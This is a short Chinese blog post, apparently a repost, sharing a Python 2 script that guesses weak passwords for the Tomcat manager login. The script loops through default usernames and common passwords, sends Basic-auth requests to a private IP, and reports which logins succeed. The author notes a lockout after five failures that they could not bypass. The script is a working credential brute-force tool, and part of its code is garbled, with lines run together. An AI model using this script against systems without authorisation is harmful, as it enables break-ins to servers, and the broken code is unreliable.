zoukankan      html  css  js  c++  java
  • Tomcat口令猜解工具【Python脚本】

    Tomcat 服务器网页部署,登录需用户名/密码,编写了一个简单的Python脚本来测试一些简单的弱口令。

    测试环境:Tomcat版本 7.0

    登录界面采用basic认证,Base 64加密一下,模拟浏览器进行发包

    据测试,每个用户名输入5次错误的密码会锁定用户,想了一些办法,还是没能绕过,这里做个记录,有时间再完善。

    目前只能用于简单的弱口令测试

    Python脚本如下:

    import urllib
    import urllib2
    import time
    import base64 
    
    names=['admin','tomcat']
    passwds=['','admin','tomcat','123456','root']
    for name in names: 
        name=name.rstrip()
        for passwd in passwds:  
            passwd=passwd.rstrip()
            user_agent = "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)"  
            Authorization = "Basic %s" % (base64.b64encode(name+':'+passwd))
            header = { 'User-Agent' : user_agent , 'Authorization':Authorization}  
    
            try:        
                url = "http://192.168.106.137:8080/manager/html"
                request = urllib2.Request(url,headers=header)
                response = urllib2.urlopen(request,timeout=5)
                result=response.read()
    
    
                if response.code ==200:
                    print '[Success] '  + url+' '+name+':'+passwd 
              break except: print
    '[false111] ' + url+' '+name+':'+passwd time.sleep(1)

    关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

  • 相关阅读:
    html的标签3
    html的标签2
    html的标签
    html与css的关系
    Linux下安装和使用MySQL(五)
    js 判断字符串中是否包含某个字符串
    CSS控制文字,超出部分显示省略号
    CSS font-family 各字体一览表
    Jquery获取html标签,包含该标签本身
    swiper实现匀速无缝滚动
  • 原文地址:https://www.cnblogs.com/xiaozi/p/6049781.html
Copyright © 2011-2022 走看看